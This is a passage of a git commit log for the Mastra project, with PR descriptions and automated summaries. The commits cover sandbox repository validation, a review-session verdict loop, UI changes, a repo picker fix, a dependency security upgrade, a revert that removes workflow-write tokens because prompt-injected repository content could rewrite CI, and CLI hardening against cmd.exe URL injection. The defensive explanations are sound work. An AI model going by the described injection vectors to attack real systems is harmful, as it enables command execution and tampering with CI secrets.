- `assertRepositoryLocator(repoFullName, cloneUrl, code)` checks a
repository name and a clone URL. It throws `MaterializeError` with the
operation's failure code when a check fails.

The helper runs in these paths:

- Materialization (clone). It replaces the earlier inline
repository-name regex. The default branch now uses `isValidGitRef`
instead of the older character-class regex.
- Environment sync (`syncEnvironmentRepository`). It uses the
`pull-failed` code.
- Merge-request refresh (`refreshMergeRequestCheckout`). It validates
`access.cloneUrl` and uses the `pull-failed` code.
- Session checkout (`checkoutSessionBranchImpl`). It uses the
`clone-failed` code.
- Push helpers (`pushBranch` and `pushRepositoryBranch`). They use the
`push-failed` code. They replace the inline repository-name regex.

## Tests

- `board-snapshot.test.ts` (+51 lines) adds tests for `hashedBody`. The
tests check the weak SHA-256 ETag, the matching of validators with or
without the weak prefix, and the change of the ETag when the body
changes. They also check that scoped listing ETags change with session
activity.
- `sandbox.test.ts` (+87 lines) adds tests for these cases:
  - Materialization rejects default branches that begin with `-`.
- Materialization rejects repository paths that normalize to a different
repository.
- Materialization rejects clone URLs with traversal or backslash
segments before any sandbox command runs.
- Checkout, environment sync, merge-request refresh, and both push
helpers reject mismatched repository paths or clone URLs before they run
commands.

The PR author reports that `pnpm --filter ./mastracode/factory check`
passes. The author also reports that the rest of `sandbox.test.ts`
passes, including self-hosted GitLab subgroup clones. This review did
not run these checks.

## Compatibility

The exported `sha1` function is removed. The new export is `etagDigest`.
The change alters ETag values for all board and work-item responses.
Clients that cache validators will reload once.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->


Supersedes #30208 (reopened by the Factory bot so the original author
can review).

---------

Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: shreyas-mastra <shreyas@mastra.ai>
2026-11-16 17:27:01 -05:00
Caleb Barnes
d7d735fbff
fix(factory): stop review sessions recording the same verdict in a loop (#30559)
## What this fixes

A session reviewing a pull request could record its verdict, then record
the same verdict again and again on the same commit until the run ended
without output. The card never moved on.

## Why it happened

Recording a verdict changes the card. When a card changes, Factory sends
the session a fresh copy of the card before its next step. That copy
described the verdict the session had just recorded as "the previous
pass", announced a new review pass, and asked for a verdict on the same
commit. The session did as asked, which changed the card again.

## What changed

When the run in progress has already recorded a verdict that covers the
current commit, the card copy now says the pass is complete instead of
announcing a new one.

A verdict call that failed does not count, so the reviewer is still
asked for a verdict. A step that arrives without its tool results still
counts through the call itself.

Anything that starts a new run still reads as a new pass: a new commit,
a re-requested review, or a person replying to dispute a finding. Those
can all end in a different verdict.

A re-requested review on the same commit changes nothing on the card, so
the session used to keep the "pass is complete" copy and stop without
reviewing. The next run is now sent the card again. On an unchanged
commit it tells the reviewer to read the newest comments and reviews on
the pull request before deciding whether its verdict still stands.

## Test plan

- `work-item-state-processor.test.ts`: records a verdict with the real
tool, re-renders the card, and checks no new pass is announced in that
run. It also checks a later run on the same commit is still told to
review and record a verdict. It covers a failed verdict call and a step
missing its tool results too. Fails without the fix.
- Same file: after a recorded verdict, a new run with no change to the
card is sent the card once, with the new-pass wording. Fails without the
fix.
- Local Factory, before the re-request change: one review of this pull
request recorded one verdict and the run ended.
- Factory `tsc --noEmit`, `oxlint`, and the rules, session and GitHub
integration tests pass.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** A review helper kept saying "start a new review" for the same
code, so the reviewer kept giving the same verdict. This change tells
the reviewer when its review is already done. It also tells the reviewer
to re-check the newest pull request comments when a review is requested
again on the same commit.

## Overview

This change stops review sessions from recording the same verdict
repeatedly on the same commit. Before the change, recording a verdict
updated the work-item card. The card went back to the session as if a
new review pass had started.

Diff size: 3 files, +159 lines, -9 lines.

## Behavior changes

**`mastracode/factory/src/session/work-item-state-processor.ts`**

- `FactoryWorkItemStateProcessor` checks the current run's steps for
successful `factory_record_review_verdict` calls.
- A call counts as successful unless a matching part is:
  - a `tool-error`, or
  - a `tool-result` whose output type is `error-text` or `error-json`.
- A call with no result still counts.
- The verdict status is part of the snapshot cache key. It is also
passed to work-item rendering as review guidance.
- When all of the following hold, `headLine` reports that the pass is
complete:
  - a verdict was recorded in this run,
  - the reviewed head is known,
  - the current head is absent or equals the reviewed head.
- In that state, `headLine` allows another verdict only if the head
moves or a person asks for reconsideration.
- On a later run with a matching recorded head, the guidance tells the
reviewer to read the newest comments and reviews. The reviewer then
decides whether its verdict still stands.

**`mastracode/factory/src/session/work-item-state-processor.test.ts`**

- Adds a test helper that returns the processor, work-item storage,
request context, and cache key with the rendered content.
- Adds tests that cover:
- recording a verdict through the transition tool marks the pass
complete in the same run,
  - a failed call does not count,
- a successful call still counts when another call in the same step
fails,
  - a later run starts a new pass,
- a re-requested review sends the card once before it suppresses an
unchanged signal.

**`.changeset/calm-verdicts-rest.md`**

- Adds a patch changeset for `@mastra/factory`.

## Public API

No exported or public declarations change.

## Validation

Not available. This summary does not include results from completed
checks on the current head.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: CalebBarnes <CalebBarnes@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 15:24:36 -07:00
Justin Levine
7a2076d2fc
Open Knowledge pages in a panel instead of replacing the graph (#30588)
## Description

Opening a Knowledge page now shows it in a panel beside the Pages tree,
on the graph's black canvas, instead of swapping the graph out for a
full-width page. The graph stops drawing while the page is open, so
nothing renders or fetches behind it; closing the panel returns to the
graph with the page still selected. The small grey metadata line under
the title moves into a Details list in the right column, and that column
now shows at a narrower width so it fits the panel. Phones keep the
full-screen page.

| | Before | After |
| --- | --- | --- |
| Light | ![Knowledge page view before, full-width page beside the
tree](https://github.com/user-attachments/assets/732c9b98-7193-4161-9f8b-547265a9fc53)
| ![Knowledge page view after, page in a panel with a Details
list](https://github.com/user-attachments/assets/4fe41990-ad38-45ca-b7a2-c1295d815189)
|
| Dark | ![Knowledge page view before in dark
mode](https://github.com/user-attachments/assets/8075bf7d-5a91-42e2-a8c5-612891e97865)
| ![Knowledge page view after in dark
mode](https://github.com/user-attachments/assets/ef12082f-eb18-4ab5-8962-c24d087cd307)
|

Verified: playground-ui knowledge tests (314, including a new
close-the-panel test), typecheck, oxlint and prettier pass; checked the
Page and GraphWithDrawer stories in both themes.

## Related issue(s)

PLTFRM-3713

## Type of change

- [x] New feature (non-breaking change that adds functionality)

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have added tests that prove my fix is effective or that my
feature works


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Knowledge pages now open beside the page list, not in place of
the graph. Page details move to a side column, so you can see the page
and the graph layout together.

## Overview

This change updates how the Knowledge explorer shows a selected page in
`@mastra/playground-ui`. It touches 7 files, with 117 lines added and 47
removed.

## Behavior changes

- **Wide screens:** A selected page opens in a "Page" panel over the
graph. The panel sits beside the Pages tree. The graph stays rendered
but is hidden while the panel is open. Closing the panel returns to the
graph with the page still selected.
- **Narrow screens:** The selected page keeps its full-screen layout.
The overlay-specific frame wrapper (`frameSurfaceStyle`) is removed from
the page view.
- **Graph container:** Its background changes from `bg-background` to
`bg-sidebar`.
- **Page detail layout:** The two-column breakpoint changes from `@4xl`
to `@3xl`.
- **Metadata:**
- In compact mode, version, scope (for non-scope pages), and update time
appear as compact metadata.
- In non-compact mode, a **Details** section lists scope (for non-scope
pages), updated time, author, creation time, and version.

## Files

- `.changeset/eleven-rockets-melt.md`: Adds a minor changeset for
`@mastra/playground-ui`.
- `KnowledgePageDetail.tsx`: Imports `DataKeysAndValues`. Adds the
compact and non-compact metadata layouts and the Details section.
Changes the breakpoint.
- `KnowledgePageExplorer.tsx`: Adds `pageOverGraph` to control the
overlay. Removes `frameSurfaceStyle`. Changes the graph container
background.
- `__tests__/KnowledgePageExplorer.drawers.test.tsx`: Removes the
assertion that the graph container is absent for the initial page
selection. The page tree and details drawer assertions remain.
- `__tests__/KnowledgePageExplorer.page.test.tsx`: Expects the selected
page in a drawer over the graph. Checks that closing the drawer returns
to graph view. Checks the Scope, Updated, By, Created, and Version terms
and their values.
- `__tests__/KnowledgePageTree.test.tsx`: Expects the home-scope name
"Acme" inside the Details region.
-
`packages/playground/src/pages/knowledge/__tests__/index.msw.test.tsx`:
The linked-page test checks for the "Updated" label inside the Details
region. It verifies that no React Flow graph renders. It replaces the
previous version-label and graph-container assertions.

## Verification

- The author reports that 314 playground-ui Knowledge tests passed,
including a new panel-close test. The author also reports passing
typecheck, oxlint, and prettier. These results were not checked against
the current head in this review.
- The author reports checking the Page and GraphWithDrawer stories in
light and dark themes. This was not verified in this review.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 14:16:03 -08:00
Justin Levine
39243f21cb
feat(playground-ui): size Central icons to match Lucide, with an optical inset (#30555)
## Description

Follow-up to #30542. Central icons read smaller than the Lucide icons
they replaced, because Central leaves more room around each drawing.
This grows the four icon sizes by 2px so an icon in the same slot draws
at the size people are used to, and documents how icon sizing works.

- Icon sizes go from 12/14/16/20px to 14/16/18/22px (CSS and the
TypeScript scale). After the bump, Central icons land at their Lucide
size: median 1.0 across 286 icons.
- Things that already fill their box keep their drawn size: product
icons draw on a 1/8 larger canvas, and the remaining Lucide icons,
provider logos, product marks and the toast close button sit 1px in from
each edge. The `xs` and `inline` avatars get their own size tokens
instead of borrowing the icon sizes.
- A few Central shapes run edge to edge and drew about 20% larger than
the rest of the set, like the ↗ in a large button. `opticalInset` in
`central-icons.json` pads those families inside the same box (plain
arrows, dots, menu bars, undo, percent, bar chart, infinity, graduation
cap, laptop, toggle). The generator validates it, bakes it into each
icon, and thickens those icons' stroke by the same factor so every icon
keeps the same line weight. A test keeps the table, the inset and the
line weight in sync. Boxes and layout are untouched.
- Containers that sized icons with literal classes now use the icon
tokens, so they follow the bump.
- The Icons docs page and the README cover sizing, the lint rule, and
the optical inset.

Rows keep their height almost everywhere because controls are taller
than icons. Across 1,336 stories, 29 got taller, 12 of them icon
showcase pages; the rest are `EmptyState` (+2px), provider logo lists,
the permission and session pages, and one rich tooltip.

| Button sizes | Before | After |
| --- | --- | --- |
| Light | ![Buttons with plus and arrow icons before the size bump,
light](https://github.com/user-attachments/assets/7830b87d-be31-4efa-a930-a8bab52947cb)
| ![Buttons with plus and arrow icons at Lucide size,
light](https://github.com/user-attachments/assets/ba891420-e22a-436c-965a-df54bada6b5d)
|
| Dark | ![Buttons with plus and arrow icons before the size bump,
dark](https://github.com/user-attachments/assets/19806658-7d55-47ee-b7ab-2b60f2ae9a27)
| ![Buttons with plus and arrow icons at Lucide size,
dark](https://github.com/user-attachments/assets/64c8bacd-2a2a-4ee4-9623-a2e5e3492115)
|

| Sidebar | Before | After |
| --- | --- | --- |
| Light | ![Sidebar nav before the size bump,
light](https://github.com/user-attachments/assets/9a10b939-a818-45d1-b9b5-9cc27c595950)
| ![Sidebar nav with 2px larger Central icons,
light](https://github.com/user-attachments/assets/c2e0f10a-f5eb-4b75-a8e9-bea13608443d)
|
| Dark | ![Sidebar nav before the size bump,
dark](https://github.com/user-attachments/assets/da0faf17-38e2-4871-8278-73913e39bc09)
| ![Sidebar nav with 2px larger Central icons,
dark](https://github.com/user-attachments/assets/1e33138a-63ce-494f-81c4-e2a77223a636)
|

| Toolbars | Before | After |
| --- | --- | --- |
| Light | ![Filter toolbars before the size bump,
light](https://github.com/user-attachments/assets/ee5baea2-073a-4ee8-9816-bf6ad2adcb5c)
| ![Filter toolbars after the size bump,
light](https://github.com/user-attachments/assets/24aeac17-4471-4d2c-b762-486104dad06e)
|
| Dark | ![Filter toolbars before the size bump,
dark](https://github.com/user-attachments/assets/15477837-207e-4555-a904-31f9bee32e31)
| ![Filter toolbars after the size bump,
dark](https://github.com/user-attachments/assets/08a86d6e-64ec-4600-8636-3579f1e0f935)
|

Verified: lint, format, and typecheck pass in playground-ui, Studio, and
Factory UI. Tests pass in playground-ui (8,216) and Studio (3,088) on
the merged branch. Factory UI's failures are the same ones on main.
Reviewed on localhost.

## Related issue(s)

PLTFRM-2484

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The PR makes the design system's icons a little bigger so they
match the size of the Lucide icons they replace. Some Central icon
shapes that run edge to edge get extra inner padding, so they do not
look too large.

## Summary

This PR changes the Central icon sizes and the icon size tokens in
`@mastra/playground-ui`. It also adds optical insets for selected
Central icons. A changeset declares a minor release for
`@mastra/playground-ui` and a patch release for `mastra`.

### Size token changes
- `packages/playground-ui/src/ds/tokens/sizes.ts` and `theme/scale.css`
change the icon sizes from 12/14/16/20px to 14/16/18/22px for
`xs`/`sm`/`md`/`lg`.
- New avatar tokens are added: `avatar-xs` (12px) and `avatar-inline`
(16px).
- `avatar-size.ts` and `avatar-group.tsx` use the avatar tokens for `xs`
and `inline`.

### Optical insets
- `central-icons.json` adds `opticalInset` values (2 or 3) for 18 icons.
- `scripts/central-icons.mjs` reads these values. It validates that each
entry names a known icon and is a finite positive number. It scales
numeric `strokeWidth` values by `(24 + 2 * inset) / 24`, rounded to four
decimals.
- `create-central-icon.tsx` accepts an optional `opticalInset` argument
(default `0`). It uses the inset to compute the `viewBox`.
- Generated Central icon files change their `viewBox` and stroke widths.
Examples include `IconArrowDown` (`strokeWidth` 2 to 2.5) and
`IconChart6` (2 to 2.3333).
- `central-icons.test.tsx` adds tests for the inset table. The tests
check the viewBox padding and the scaled stroke width.

### Icon size class migration
- Many components replace fixed `size-3`, `size-3.5`, `size-4`, and
`size-5` classes with `size-icon-*` tokens. Examples are in
`ds/components/*`, `domains/traces/*`, `domains/scores/*`, and
`domains/experiments/*`.
- `ProviderLogo` and `ProductAvatar` add `p-px` padding to icon classes.
- `:where(svg.lucide)` in `components.css` and the toaster close button
get `padding: 1px`.
- Several hand-written icons in `ds/icons/` change their SVG dimensions
and `viewBox` values. Examples include `AgentIcon`, `SearchIcon`, and
`TrashIcon` (to 18px). `ProcessorIcon` and `PromptIcon` change their
default size to 18.

### Documentation and lint guidance
- `icons.mdx` and `packages/playground-ui/README.md` describe the new
size tokens. They also describe the
`playground-ui/icon-size-from-parent` lint rule and optical insets.
- The README removes `CirclePause`, the `Loader2` spinner, and filled
stars from the `lucide-react` exception list.

### Factory UI and playground
- Files under `mastracode/factory-ui` and `packages/playground` switch
icon size classes to `size-icon-*` tokens. These changes follow the same
pattern as the playground-ui changes.

### Not covered by this summary
- The PR description reports lint, format, and typecheck results, and
test counts (8,216 in playground-ui and 3,088 in Studio). These results
come from the PR author. They were not verified against completed checks
on the current head.
- The PR description includes screenshots. This summary does not
describe them.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 16:54:04 -05:00
mastra-platform[bot]
8ed3cd8680
fix(factory): open the repo picker on recent repos and search the rest (#30345)
## Summary

The Factory repository picker loaded every repository the GitHub App can
see before showing anything. For accounts with 500+ repositories the
Platform listing took longer than the Factory's 15s request timeout, so
onboarding failed with **"Failed to list repos (500)"**.

The picker now loads optimistically:

- **On open** it asks for the **8 most recently pushed** repositories.
Installs that grant only a few repositories still show all of them.
- **Once you type** it searches by name on the server (up to 50 results)
instead of filtering a full list in the browser.

Changes:
- `/web/github/repos` accepts `limit` (max 100), passes `q`/`limit` to
each installation, and returns the merged matches most recently pushed
first.
- The Platform-backed integration requests the narrowed listing from the
Platform (uncached). Single-repo lookups (`getInstallationRepo`) search
by name when no full listing is cached, instead of listing everything.
- The direct (self-hosted) integration narrows its own listing the same
way.
- All pickers sharing `useGithubReposQuery` send the limit.

Depends on mastra-ai/platform#4882, which adds `q`/`limit`/`pushedAt` to
the Platform repositories endpoint. Merge order does not matter: an
older Platform ignores the params and returns the full list, which the
Factory route still filters and caps. The 500 goes away once both are
deployed.

## Test plan
- New route test: `q`/`limit` reach every installation and the merged
list keeps the most recently pushed.
- New Platform integration tests: narrowed listing sends `q`/`limit` and
does not poison the full-listing cache; `getInstallationRepo` searches
by name when nothing is cached.
- New picker MSW test: opens with `limit=8`, then searches with
`q`/`limit=50` after typing.
- Factory: 416 tests across GitHub/platform/factory suites pass; `tsc
--noEmit` clean. Factory UI: 756 workspace/settings tests pass,
typecheck and oxlint clean.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When you open the Factory repo picker, it now shows your most
recently pushed repos. When you type, it searches your repos by name on
the server. This keeps the picker fast for accounts with hundreds of
repos.

## Summary

This change updates the Factory repository picker. On open, it requests
a short list of the eight most recently pushed repositories. After the
user types, it searches by name on the server and requests up to 50
results. It also adds a `limit` option to the Factory API and the
Platform integration. The change addresses a failure for accounts with
more than 500 repositories. Loading the full list could exceed the
15-second request timeout and return "Failed to list repos (500)".

## Changes

- **Changeset:** Adds a patch changeset for `@mastra/factory`. It
describes the recent-repos picker, the name search, and the new `limit`
behavior. It also records the earlier failure for GitHub accounts with
hundreds of repositories.
- **Picker query
(`mastracode/factory-ui/src/hooks/useGithubRepos.ts`):**
`useGithubReposQuery` requests 8 repositories when no query is set. It
requests 50 when a query is set. The refresh mutation uses the same
limit and keeps `refresh: true`. It exports `RECENT_REPOSITORY_LIMIT =
8`.
- **Client service
(`mastracode/factory-ui/src/ui/domains/workspaces/services/github.ts`):**
`GithubRepo` gains an optional `pushedAt` field. `listGithubRepos`
accepts an optional `limit` option and adds it to the request query
string when set.
- **Add-repository picker (`AddRepositoryPicker.tsx`):** Treats the
recent list as capped when its length is at least
`RECENT_REPOSITORY_LIMIT`. When no query is entered and no available
repositories remain, a capped list shows a message that asks the user to
search for others. Otherwise, the existing "no more repositories"
message appears.
- **Workspace VCS step (`VcsFactoryStep.tsx`):** During a connected
GitHub repository refresh, the component records the prior repository
IDs, the query update time, and the installation count. After a
successful refresh, when `githubCallbackAwaitsAccess` is true, it clears
the pending GitHub App approval notice if either of these is true:
  - The installation count increased.
- The refreshed list contains a repository that was not listed before
and was not pushed after the captured update time.

A repository that is only newer by `pushedAt` does not clear the notice.
This replaces the earlier rule, which cleared the notice only when the
list length grew.
- **Factory route
(`mastracode/factory/src/integrations/github/routes.ts`):** The
repository listing route trims and lowercases `q`. It accepts a positive
integer `limit`, capped at 100, and passes the limit to each
installation. After filtering and deduplicating, it sorts limited
results by descending `pushedAt` and truncates them to the limit.
Without a valid limit, the existing behavior applies.
- **Core GitHub integration
(`mastracode/factory/src/integrations/github/integration.ts`):**
- `RepoSummary` gains optional `pushedAt`, which is `null` when GitHub
omits it.
  - New exported `RepoListOptions` type (`fresh`, `query`, `limit`).
- New exported `narrowRepos` function. It filters by case-insensitive
substring, orders by most recent push, and applies an optional limit.
- `listInstallationRepos` accepts `RepoListOptions`. It applies
narrowing only when `query` or `limit` is set.
- **Platform GitHub integration
(`mastracode/factory/src/integrations/platform/github/integration.ts`):**
- When `query` or `limit` is set, `listInstallationRepos` sends `q`
(truncated to 100 characters) and `limit` to the Platform repositories
endpoint. It returns results with `installationId` added. It does not
store the narrowed result as the TTL full-list cache.
- If `fresh` is also set on a narrowed request, it deletes the cached
full listing for that installation. The stated reason is that a granted
repository may have changed.
- Unfiltered listings keep the TTL cache. `fresh` bypasses the cache
read and clears the entry before refetching.
- `getInstallationRepo` uses the cached full listing when it is
unexpired. Otherwise, it searches by the last path segment of
`repoFullName` with a limit of 100. It then matches the exact full name.

## Tests

- **Factory route tests (`routes.test.ts`):** Adds a test. It checks
that a case-insensitive `q=Agent` reaches each installation as `query:
'agent'` with `limit: 2`. It also checks that merged results sort by
`pushedAt` and return the two newest. Two existing session-title tests
are reformatted. Their assertions are unchanged.
- **Platform integration tests
(`platform/github/integration.test.ts`):** Adds tests for uncached
single-repository lookup. Adds tests for narrowed listings. They check
that the limit is sent, that `pushedAt` is returned, and that the
narrowed result is not cached as the full listing. They also cover a
fresh narrowed refresh that finds a newly granted repository.
- **Picker MSW test (`VcsFactoryStep.msw.test.tsx`):** Adds a test. It
checks that the initial request uses `limit=8`. After the user types
`old`, it checks that the request uses `q=old` and `limit=50` and shows
the filtered result. Adds a refresh test. It checks that a pending
approval notice clears when the refreshed list includes a newly granted
repository. It also checks that the notice remains when the new
repository is only newer by `pushedAt`.
- **Settings MSW test (`RepositoriesSection.msw.test.tsx`):** Adds a
test for the case where all eight recent repositories are already
linked. It checks that the add-repository drawer prompts the user to
search and does not state that no repositories remain.

The author reports these results. They were not verified in this review:
- 416 Factory tests passing across GitHub, Platform, and Factory suites.
- 756 Factory UI workspace and settings tests passing.
- `tsc --noEmit`, typecheck, and oxlint clean.

## Dependencies and deployment

The change depends on mastra-ai/platform#4882. That change adds `q`,
`limit`, and `pushedAt` to the Platform repositories endpoint. An older
Platform can ignore these parameters. In that case, the Factory route
still filters and caps results. The "Failed to list repos (500)" error
stops only after both changes deploy.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:47:09 -08:00
mastra-platform[bot]
02d080c280
Revert: Let Factory sessions push GitHub Actions workflow changes (#30586)
## Summary

Reverts #30584, which added `workflows: 'write'` to the permission set
on every Factory repository token. With that permission, any session (or
prompt-injected repository content) can rewrite CI workflows that run
with repository secrets, including the npm publish path. #30584 hasn't
reached shipyard yet, so this reverts it before it deploys.

Until an approval-gated path exists (see the closed #28967), a person
pushes changes to `.github/workflows/*`.

## Test plan

- [x] `vitest run src/integrations/platform/github/integration.test.ts`:
60 passed, with the expected token payloads back to no `workflows`.

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:35:59 -08:00
mastra-platform[bot]
b02659fcf1
fix(templates): upgrade mongodb-bedrock-agent to AI SDK v6 to resolve vulnerable dependencies (#30574)
## Summary

Upgrades `templates/template-mongodb-bedrock-agent` to the AI SDK v6
stack used by the other templates, which clears the vulnerable
dependencies we'd held back because the fixes needed major upgrades.

- `ai` ^5.0.289 → ^6.0.332, `@ai-sdk/amazon-bedrock` 3.0.146 (exact pin)
→ ^4.0.216. ai v5's `@ai-sdk/provider-utils@3` pins `undici` 5.x, which
has no patched release. v4 brings `undici` 6.29.1 and drops
`@fastify/busboy`.
- Removes `patch-package`, the `postinstall` script, the `patches/`
directory and the Dockerfile `COPY patches` step. Bedrock v4 already
ships the upstream fix (`BedrockToolUseSchema.input` is optional), and
the patch only existed because that fix wasn't available on ai v5.
Removed the matching notes from CONTRIBUTING.md and AGENTS.md.
- Bumps Mastra packages to current versions (`@mastra/core` ^1.83.0,
memory, mongodb, rag, observability, editor, `mastra` CLI).
- Bumps `@opentelemetry/auto-instrumentations-node` ^0.79 → ^0.83.1 to
fix GHSA-3v2p-hm54-8qcq (moderate). That package needs Node ≥22.15, so
`engines.node` goes from `>=22.13.0` to `>=22.15.0`. The Dockerfile
already uses `node:22-slim`.
- Regenerated `package-lock.json` with npm.

No source code changes were needed. `embed`/`embedMany`,
`createAmazonBedrock`, and the Bedrock `dimensions` provider option work
the same on v6/v4.

## Verification

- `npm ls undici @fastify/busboy shell-quote image-size uuid
follow-redirects proxy-addr`: `undici` 6.29.1 / 7.30.2 and `uuid` 11.1.1
only. No `@fastify/busboy`, and `shell-quote`, `image-size`,
`follow-redirects` and `proxy-addr` are no longer in the tree.
- `npm audit --omit=dev` and `npm audit`: **0 vulnerabilities** (before:
9, 2 high).
- `npx tsc --noEmit` and `npm run build` pass.
- `npx mastra build` succeeds.
- `npm test`: 8 passed, 6 skipped. The skipped tests need
`TEST_MONGODB_URI`, the same as before this change.
- `npm ci --omit=dev` installs cleanly without the postinstall.

Closes Dependabot alerts #3517–#3534 (undici / @fastify/busboy).

Ref SEC-315
Ref SEC-263
Ref SEC-264
Ref SEC-252


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change updates a MongoDB Bedrock agent template to newer
libraries. It removes a patch that is no longer needed, because the
newer Bedrock library includes the fix. It also raises the minimum
Node.js version.

## Summary

This change upgrades the `templates/template-mongodb-bedrock-agent`
template to the AI SDK v6 stack. The `ai` package moves from `^5.0.289`
to `^6.0.332`. `@ai-sdk/amazon-bedrock` moves from the exact version
`3.0.146` to `^4.0.216`. The change also updates Mastra packages,
`@opentelemetry/auto-instrumentations-node` (now `^0.83.1`), and the
`mastra` CLI.

The change removes the Bedrock tool-use workaround. That workaround used
`patch-package`. The author states that Bedrock v4 includes the upstream
fix, so the workaround is no longer needed. The change includes no
source code changes.

### Changes by file

- `package.json`:
- Raises the Node.js requirement (`engines.node`) from `>=22.13.0` to
`>=22.15.0`.
  - Removes the `postinstall` script and the `patch-package` dependency.
- Updates the `ai`, `@ai-sdk/amazon-bedrock`, Mastra, OpenTelemetry
instrumentation, and `mastra` CLI versions.
- `patches/@ai-sdk+amazon-bedrock+3.0.146.patch`: Deleted. The patch
made `input` optional in `BedrockToolUseSchema` in the CommonJS and ESM
bundles.
- `Dockerfile`: Removes the step that copies the `patches` directory
into `/app` before `npm install`.
- `CONTRIBUTING.md`: Removes the section on the pinned
`@ai-sdk/amazon-bedrock` dependency, the `patch-package` workaround, the
`ai` v5 constraint, and the rule that `patch-package` remain a runtime
dependency for `npm ci --omit=dev`.
- `AGENTS.md`: Removes the instruction to keep the pinned Bedrock
provider version and its `patch-package` fix until a deliberate
migration.
- `README.md`: The Prerequisites section now states Node.js 22.15 or
later.

The diff reports 7 changed files, with 1,685 lines added and 2,071
removed. The per-file summaries cover 6 files. The summaries report
about 12 added lines in total, so most of the added lines come from a
file that is not described. That file is probably a lockfile, but this
summary does not confirm it.

### Reported verification (author-reported, not independently confirmed)

- `npm audit --omit=dev` and `npm audit`: 0 vulnerabilities.
- `npx tsc --noEmit`, `npm run build`, and `npx mastra build`:
succeeded.
- `npm ci --omit=dev`: installed without the postinstall script.
- `npm test`: 8 passed, 6 skipped. The skipped tests require
`TEST_MONGODB_URI`.
- `npm ls undici @fastify/busboy shell-quote image-size uuid
follow-redirects proxy-addr`: results reported by the author, not
summarized here.

The PR states that it closes Dependabot alerts `#3517`–#3534. It
references SEC-315, SEC-263, SEC-264, and SEC-252.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 16:33:34 -05:00
mastra-platform[bot]
918d229b8b
fix(cli): only open http(s) URLs, drop cmd.exe (#30573)
## Summary

CodeQL flags the CLI's `openBrowser` (used for `mastra auth login`,
`mastra connect`, and the add-credits flow) for command-line injection:
the login URL is built from `MASTRA_PLATFORM_API_URL`, which comes from
the environment, and is handed straight to the OS opener.

`openBrowser` already used `execFileSync` with an argument array on
macOS, Linux, and WSL, but two gaps remained:

1. **No URL validation.** Any string, such as `file:///…`,
`javascript:…`, a bare program name, or an option-like `--foo`, went to
`open` / `xdg-open` / `Start-Process`. Now the input is parsed with `new
URL()`, only `http:` and `https:` are accepted, and the normalized
`href` is what gets passed on. Normalizing also percent-encodes spaces,
quotes, and backticks.
2. **Windows went through `cmd.exe`.** `execFileSync('cmd', ['/c',
'start', '', url])` has no shell on the Node side, but cmd.exe parses
its own command line, so `&` in the URL acts as a command separator.
Every login URL contains `&` (`?product=cli&cli_port=…&state=…`), so on
Windows the URL was also cut off after the first query parameter.
Windows now uses `rundll32.exe url.dll,FileProtocolHandler <url>`, which
opens the default handler without a command interpreter.

All callers already catch errors from `openBrowser` and print the URL,
so a rejected URL falls back to "open this link manually" and does not
crash.

## Test plan

- New `openBrowser` tests in
`packages/cli/src/commands/auth/credentials.test.ts`:
  - non-http(s) and invalid inputs throw, and no process is spawned
  - on macOS the URL is passed as a single argv entry
- on Windows, `rundll32.exe` gets the full URL including `&`, and `cmd`
is never invoked
  - shell metacharacters are percent-encoded before spawning
- `vitest run src/commands/auth src/commands/connect
src/commands/gateway`: all pass
- `tsc --noEmit` for `packages/cli`: clean

Ref SEC-249


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The CLI opens a web page for login. Before this change, it
passed the page address to Windows in a way that could run extra
commands. Now it only opens normal web addresses, and it uses a safer
Windows method.

## Summary

This change hardens how the CLI opens a browser. The `openBrowser` flow
is used by `mastra auth login`, `mastra connect`, and add-credits.

### Changes

- **`packages/cli/src/commands/auth/credentials.ts`** (+22/-3)
- Adds `toBrowserUrl(url)`. It parses the input with `new URL()` and
throws on invalid input.
- `toBrowserUrl` also throws when the protocol is not `http:` or
`https:`.
  - `toBrowserUrl` returns `parsed.href`, the normalized URL.
- `openBrowser` now takes `rawUrl: string`. It calls `toBrowserUrl` and
passes the result to the OS opener.
- On Windows, `openBrowser` calls `rundll32.exe` with
`url.dll,FileProtocolHandler` and the URL. It no longer calls `cmd /c
start`.
  - The macOS, WSL, and other Linux paths are unchanged.
- **`packages/cli/src/commands/auth/credentials.test.ts`** (+63)
- Adds `openBrowser` tests. Per the PR objectives, they cover rejected
inputs, macOS argument handling, Windows invocation without `cmd`, and
